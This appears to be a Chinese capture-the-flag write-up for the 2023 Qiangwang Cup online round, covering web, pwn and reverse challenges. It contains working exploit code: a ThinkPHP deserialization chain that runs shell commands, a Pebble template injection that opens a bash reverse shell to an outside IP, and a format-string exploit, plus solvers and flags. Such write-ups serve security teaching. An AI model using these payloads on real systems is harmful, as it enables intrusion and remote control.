Web
happygame
通过Google可以知道这个报错来自grpc,直接使用grpcurl来列出服务
共两个服务,查看服务列表
查看Request的结构体
请求
提示要base64,字段名是序列化数据,yso生成一个dnslog过去探测链子
打cc5反弹shell即可
thinkshop
审计代码
登录处使用find来查找,因此需要输入主键(id)用户1,密码123456登录到后台,在修改商品信息处源码如下:
存在sql注入,使用以下数据包,将data进行覆盖为恶意序列化数据
生成序列化数据的exp直接使用网上的生成
<?php
namespace think;
use thinkModelRelationBelongsTo;
use thinkconsoleOutput;
abstract class Model
{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append=['getError'];
$this->error=new BelongsTo();
$this->parent=new Output();
}
}
namespace thinkmodelrelation;
use thinkdbexceptionModelNotFoundException;
class BelongsTo
{
protected $query;//去进行触发下一条链
protected $bindAttr = [];
public function __construct()
{
$this->query = new ModelNotFoundException();
$this->bindAttr = ["test"=>"test"];//这里随便不为空即可
}
}
namespace thinkdbexception;
use thinkconsoleOutput;
class ModelNotFoundException
{
protected $model;
public function __construct()
{
$this->model=new Output();
}
}
namespace thinkconsole;
use thinksessiondriverMemcached;
class Output{
private $handle;//去触发Memcached的链
protected $styles = [
"getAttr"
];
public function __construct()
{
$this->handle = new Memcached();
}
}
namespace thinkcache;
abstract class Driver{
}
namespace thinksessiondriver;
use thinkcachedriverMemcache;//这里是write的方法
use thinkcacheDriver;
class Memcached {
protected $handler;
public function __construct()
{
$this->handler = new Memcache();
}
}
namespace thinkcachedriver;
use thinkRequest;
class Memcache{
protected $tag = "test";
protected $handler;//触发Request的链
protected $options = ['prefix'=>'goddemon/'];
public function __construct()
{
$this->handler = new Request();
}
}
namespace think;
class Request{
protected $get = ["goddemon"=>'cat /fffflllaaaagggg'];
protected $filter;
public function __construct()
{
$this->filter = 'system';
}
}
namespace thinkmodel;
use thinkModel;
class Merge extends Model{
}
namespace thinkprocesspipes;
use thinkmodelMerge ;
class Windows
{
/** @var array */
private $files = [];
public function __construct()
{
$this->files=[new Merge()]; }
}
echo base64_encode(serialize([new Windows]));
?>
然后访问商品详情页面出发反序列化
强网先锋
石头剪刀布
先手工交互一下,发现有一定规律,但不知道是什么。
def predict(i,my_choice):
global sequence
model = None
if i < 5:
opponent_choice = [random.randint(0, 2)]
else:
model = train_model(X_train, y_train)
opponent_choice = predict_opponent_choice(model, [sequence])
在给出的源码里可以看到,前五次是随机,后面是训练的模型预测的,那么固定前五次,五次之后,根据输赢的结果来修改出招。
# -*- coding: utf-8 -*-
# @Time : 16/12/2023 下午 1:25
# @Author : 明月清风我
# @File : exp.py
# @Software: PyCharm
from pwn import *
from loguru import logger
import random
context.log_level = "debug"
# nc 8.147.133.154 20905
data = [0, 0, 0, 0, 0, 1, 1, 2, 2, 0,
1, 2, 0, 2, 0, 2, 1, 0, 2, 1,
1, 0, 0, 1, 1, 1, 2, 2, 2, 0,
0, 1, 2, 0, 0, 2, 2, 2, 2, 2,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 2, 0, 2, 2,
0, 2, 2, 2, 0, 0, 2, 2, 2, 2,
0, 0, 2, 2, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0]
k = 36
while k <= 100:
logger.info(k)
p = remote("8.147.133.154", 20905)
p.recv()
for _ in range(k):
p.recvuntil("):".encode())
p.sendline(str(data[_]).encode())
p.recvline()
Me10n_choice = p.recvline().decode().strip('n')
whowin = p.recvline().decode().strip('n')
if _ >= 5:
if "Me10n赢了!" in whowin:
# logger.info(str(_ + 1) + ":" + whowin+ str(data[_]) + Me10n_choice)
data[_] = (data[_] + 1) %3
if "平局" in whowin:
# logger.info(str(_ + 1) + ":" + whowin + str(data[_]) + Me10n_choice)
data[_] = (data[_] - 1) % 3
k += 1
# logger.info(data)
p.interactive()
# flag{0390d51f-d07b-4db7-8532-9b6b64fca264}
hello spring
审计Java代码,模板上传
@PostMapping({"/uploadFile"})
public String updateFile(@RequestParam("content") String myContent, Model model) throws IOException {
if (myFilter.filter(myContent)) {
System.out.println("Baned!");
return "home";
} else {
String path = "/tmp/";
System.out.println(path);
String filename = FileNameGenerator.general_time();
String file_path = path + filename;
File f = new File(file_path);
if (f.exists()) {
System.out.println("File already exists!");
return "home";
} else {
System.out.println(f.createNewFile());
try {
FileOutputStream fos = new FileOutputStream(file_path);
try {
byte[] bytes = myContent.getBytes();
fos.write(bytes);
System.out.println("文件写入成功!");
} catch (Throwable var11) {
try {
fos.close();
} catch (Throwable var10) {
var11.addSuppressed(var10);
}
throw var11;
}
fos.close();
} catch (IOException var12) {
var12.printStackTrace();
}
System.out.println("upload Success!");
return "home";
}
}
}
文件名按时间生成
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.example.testtwo.utils;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
public class FileNameGenerator {
public FileNameGenerator() {
}
public static String general_time() {
LocalDateTime currentTime = LocalDateTime.now();
DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyyMMdd_HHmmss");
String var10000 = currentTime.format(formatter);
String fileName = "file_" + var10000 + ".pebble";
System.out.println("filename is " + fileName);
return fileName;
}
}
模板渲染
@RequestMapping({"/"})
public String getTemplate(@RequestParam("x") Optional<String> template, Model model) {
return (String)template.orElse("home");
}
根据服务器的响应头可以看出来,服务器上是GMT时间,我们用的是UTC+8时间,因此上传后爆破大概当前时间-8个小时即可,写脚本上传
import threading
import requests
url = "http://eci-2ze2b5a7asmm88uzcm65.cloudeci1.ichunqiu.com:8088/"
t = threading.BoundedSemaphore(80)
def upload():
u = url + "uploadFile"
print(requests.post(u, {"content": """{% set clazz=beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").getResourceLoader().getClassLoader().loadClass("org.springframework.expression.spel.standard.SpelExpressionParser") %}
{% set instance = beans.get("jacksonObjectMapper").readValue("{}", clazz) %}
{{instance.parseExpression("new java.lang.ProcessBuilder(\"bash\",\"-c\",\"bash -i>&/dev/tcp/8.134.146.39/6666 0>&1\").start()").getValue()}}"""}).text)
upload()
upload()
upload()
爆破时间
成功反弹shell
Trie
from pwn import *
from Crypto.Util.number import *
#context.log_level = 'debug'
def int_to_ip(num):
ip_str = '.'.join([str((num >> (i << 3)) & 0xFF) for i in range(4)[::-1]])
return ip_str.encode()
def ip_to_int(ip):
print(ip)
parts = [int(part) for part in ip.split('.')]
int_ip = (parts[0] << 24) + (parts[1] << 16) + (parts[2] << 8) + parts[3]
return int_ip
def add(ip1):
p.recvuntil(b"4. Quit.n")
p.sendline(b"1")
p.recvuntil(b"nation IP:")
p.sendline(int_to_ip(ip1))
p.recvuntil(b"next hop:")
p.sendline(b'2.2.2.2')
def show(ip1):
global flag
p.recvuntil(b"4. Quit.n")
p.sendline(b"2")
p.recvuntil(b"nation IP:")
p.sendline(int_to_ip(ip1))
p.recvuntil(b'The next hop is')
flag += long_to_bytes(ip_to_int(p.recvline().decode()))[::-1]
print(flag)
def readflag():
p.recvuntil(b"4. Quit.n")
p.sendline(b"3")
flag = b''
for i in range(32, 1, -1):
p = process('./trie')
add(0)
add(1<<i)
add(1)
readflag()
show(1)
p.interactive()
SpeedUp
直接搜索,找到https://oeis.org/A244060
取出第27个然后算一遍即可
import hashlib
# https://oeis.org/A244060
fx = 4495662081
flag = hashlib.sha256(str(fx).encode()).hexdigest()
flag = 'flag{%s}' % flag
print(flag)
# flag{bbdee5c548fddfc76617c562952a3a3b03d423985c095521a8661d248fad3797}
ezre
平坦化去混淆以后整理函数实现可得:
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // eax
unsigned __int64 v4; // rax
int v5; // eax
int k; // [rsp+12Ch] [rbp-114h]
int j; // [rsp+130h] [rbp-110h]
int i; // [rsp+134h] [rbp-10Ch]
int v10; // [rsp+13Ch] [rbp-104h]
char v11[64]; // [rsp+140h] [rbp-100h] BYREF
char v12[64]; // [rsp+180h] [rbp-C0h] BYREF
char v13[64]; // [rsp+1C0h] [rbp-80h] BYREF
char s[52]; // [rsp+200h] [rbp-40h] BYREF
int v15; // [rsp+234h] [rbp-Ch]
size_t v16; // [rsp+238h] [rbp-8h]
v15 = 0;
printf("Welcome to the CTF world:");
memset(s, 0, 0x32uLL);
__isoc99_scanf("%s", s);
v16 = strlen(s);
v3 = strlen(s);
v10 = 0;
b64encode((__int64)s, (__int64)v11, v3);
while ( v10 < 4 )
{
srand(byte_406132);
v4 = strlen((const char *)(unsigned int)table);
swap_byrand((__int64)table, v4);
if ( (v10 & 1) != 0 )
{
v5 = strlen(v11);
b64encode((__int64)v11, (__int64)v12, v5);
}
else
{
b64decode((__int64)v11, (__int64)v12);
}
memset(v11, 0, 0x32uLL);
memcpy(v11, v12, 0x32uLL);
++v10;
}
if ( dword_4062C0 == 1 )
{
reverse((__int64)table, (__int64)&table[64]);
for ( i = 0; i < 64; ++i )
table[i] = (5 * (table[i] + 3)) ^ 0x15;
}
else
{
for ( j = 0; j < 64; ++j )
table[j] ^= 0x27u;
}
xor_cnt(v12, v13);
for ( k = 0; k < strlen(v12); ++k )
{
if ( dst[k] != v13[k] )
{
printf("wrong!");
return 0;
}
}
printf("right!");
return 0;
}
dword_4062C0是代表是否调试,如果调试中则值为1,从而对table进行reverse和计算变换,且dst遍历异或0x34(sub_402230中实现);反之为0,table遍历异或0x27。
根据算法逆向写出各部分加密的解密。开头的srand涉及c中的实现,用c拿到四个循环的表(涉及表的算法顺向):
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main() {
uint8_t table[65] = "l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr";
for (int i = 0; i < 4; i++) {
srand(table[2]);
for (int j = 63; j >= 0; j--) {
int r = rand();
uint8_t tmp = table[r%(j+1)];
table[r%(j+1)] = table[j];
table[j] = tmp;
}
printf("b"%s", ", table);
}
return 0;
}
把表的结果传进python脚本中的tables,逆向解密即可:
import base64
dst = [0x3A, 0x2C, 0x4B, 0x51, 0x68, 0x46, 0x59, 0x63, 0x24, 0x04, 0x5E, 0x5F, 0x00, 0x0C, 0x2B, 0x03, 0x29, 0x5C, 0x74, 0x70, 0x6A, 0x62, 0x7F, 0x3D, 0x2C, 0x4E, 0x6F, 0x13, 0x06, 0x0D, 0x06, 0x0C, 0x4D, 0x56, 0x0F, 0x28, 0x4D, 0x51, 0x76, 0x70, 0x2B, 0x05, 0x51, 0x68, 0x48, 0x55, 0x24, 0x19]
# for i in range(len(dst)):
# dst[i] ^= 0x34
basetable = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
tables = [b"FGseVD3ibtHWR1czhLnUfJK6SEZ2OyPAIpQoqgY0w49u+7rad5CxljMXvNTBkm/8", b"Hc0xwuZmy3DpQnSgj2LhUtrlVvNYks+BX/MOoETaKqR4eb9WF8ICGzf6id1P75JA", b"pnHQwlAveo4DhGg1jE3SsIqJ2mrzxCiNb+Mf0YVd5L8c97/WkOTtuKFZyRBUPX6a", b"plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6"]
table = list(tables[-1])
# debugging
for i in range(64):
table[i] ^= 0x27
# for i in range(32):
# table[i], table[63-i] = table[63-i], table[i]
# for i in range(64):
# table[i] = ((5*((table[i]+3)&0xFF))&0xFF) ^ 0x15
# xor_cnt
table = table[6:27]
cnts = [2023]
for i in range(len(dst)-1):
if i % 3 == 0:
cnts.append((cnts[-1] + 3) % 17)
elif i % 3 == 1:
cnts.append((cnts[-1] + 5) % 20)
elif i % 3 == 2:
cnts.append((cnts[-1] + 7) % 19)
for i in range(len(dst)-1)[::-1]:
dst[i+1] ^= dst[i]
cnt = cnts[i+1]
if i % 3 == 0:
dst[i] ^= table[cnt+3]
elif i % 3 == 1:
dst[i] ^= table[cnt+1]
elif i % 3 == 2:
dst[i] ^= table[cnt+2]
dst = bytes(dst)
# print(dst)
# base64
for i in range(4)[::-1]:
table = tables[i]
if i & 1 != 0:
dst = base64.b64decode(dst.translate(bytes.maketrans(table, basetable)))
else:
dst = base64.b64encode(dst).translate(bytes.maketrans(basetable, table))
# ori table
table = b"l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr"
flag = base64.b64decode(dst.translate(bytes.maketrans(table, basetable)))
print(flag)
# b'flag{3ea590ccwxehg715264fzxnzepqzx7f'
# 最后一个字符换成右括号可得flag
flag:flag{3ea590ccwxehg715264fzxnzepqz}
ez_fmt
from pwn import *
context.log_level = 'debug'
libc=ELF('./libc.so.6')
#p = process('./ez_fmt')
p=remote('47.104.24.40',1337)
#attach(p,'b *0x00401239nb *0x40121B')
p.recvuntil('ift for you ')
stack=int(p.recvline(),16)
print hex(stack)
pay='%9$n%'+str(0xaffb)+'c%10$n%'+str(0x0404010-0xa1)+'c%11$n'
pay=pay.ljust(0x18,'b')+p64(0x00007fffffffdf7b)+p64(0x00007fffffffdf78)+p64(0x00007fffffffdf70)
pay='%'+str(05)+'c%10$hhn%19$p'
pay=pay.ljust(0x20,'b')+p64(stack-8)
#pay='aaa%8$hn'
p.send(pay)
p.recv(5)
leak=int(p.recv(14),16)
print hex(leak)
libcbase=leak-(0x00007ffff7dfb083-0x00007ffff7dd7000)
system=libcbase+0xE3B01
print hex(system)
one=system&0xff
sec=(system>>8)&0xffff
pay='%'+str(one)+'c%10$hhn%'+str(sec-one)+'c%11$hn'
pay=pay.ljust(0x20,'b')+p64(stack+0x68)+p64(stack+0x68+1)
#pay='aaa%8$hn'
p.send(pay)
p.interactive()
Babyre
主逻辑只是一个类似TEA的密码算法:
字符串可以看到一个奇怪的"SomeThing Go Wrong"
,从这里交叉引用回去能看到两个TlsCallback,这里把密文和密钥都改了,密文xor index,密钥是左移,懒得找参数直接爆破左移位数即可:
import pexpect
key = [0x31, 0xB7, 0xB6, 0x31]
dst = [0xE0, 0xF3, 0x21, 0x96, 0x97, 0xC7, 0xDE, 0x89, 0x9B, 0xCA, 0x62, 0x8D, 0xB0, 0x5D, 0xFC, 0xD2, 0x89, 0x55, 0x1C, 0x42, 0x50, 0xA8, 0x76, 0x9B, 0xEA, 0xB2, 0xC6, 0x2F, 0x7C, 0xCF, 0x11, 0xDE]
for i in range(32):
dst[i] ^= i
for i in range(8):
idx = 4 * i
print(int.from_bytes(bytes(dst[idx:idx+4]), 'little'), end = ',')
# tea密文在这里获取
for i in range(8):
tmpkey = []
for j in range(4):
tmpkey.append((key[j] << (8-i)) & 0xFF | (key[j] >> i))
k = int.from_bytes(bytes(tmpkey), 'little')
p = pexpect.spawn('./tea')
p.sendline(str(k).encode())
p.readline()
print(p.readline())
p.close()
tea.c:
#include <stdio.h>
#include <stdint.h>
void decrypt(uint32_t * v, uint8_t * k) {
uint32_t v0 = v[0], v1=v[1], sum = 0x90508D47 - 0x77BF7F99*4*33;
uint32_t delta = -0x77BF7F99;
for (uint32_t j = 0; j < 4; j++) {
for (uint32_t i = 0; i < 33; i++) {
sum -= delta;
v1 -= (((v0<<5) ^ (v0>>4)) + v0) ^ (sum + k[(sum>>11)&3]);
v0 -= (((v1<<5) ^ (v1>>4)) + v1) ^ (sum + k[sum&3]) ^ sum;
}
}
v[0]=v0; v[1]=v1;
return;
}
int main() {
uint32_t v[9] = {2502161120,2396570259,2255012755,3723645116,1359889561,2355150148,886877170,3239039584};
uint8_t k[4] = {0};
scanf("%u", &k);
for (int i = 0; i < 4; i++) decrypt((uint32_t *)&v + i * 2, k);
printf("%sn", v);
return 0;
}
Flag:flag{W31com3_2_Th3_QwbS7_4nd_H4v3_Fun}
原文始发于微信公众号(山石网科安全技术研究院):2023第七届强网杯线上赛WriteUp|Part1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论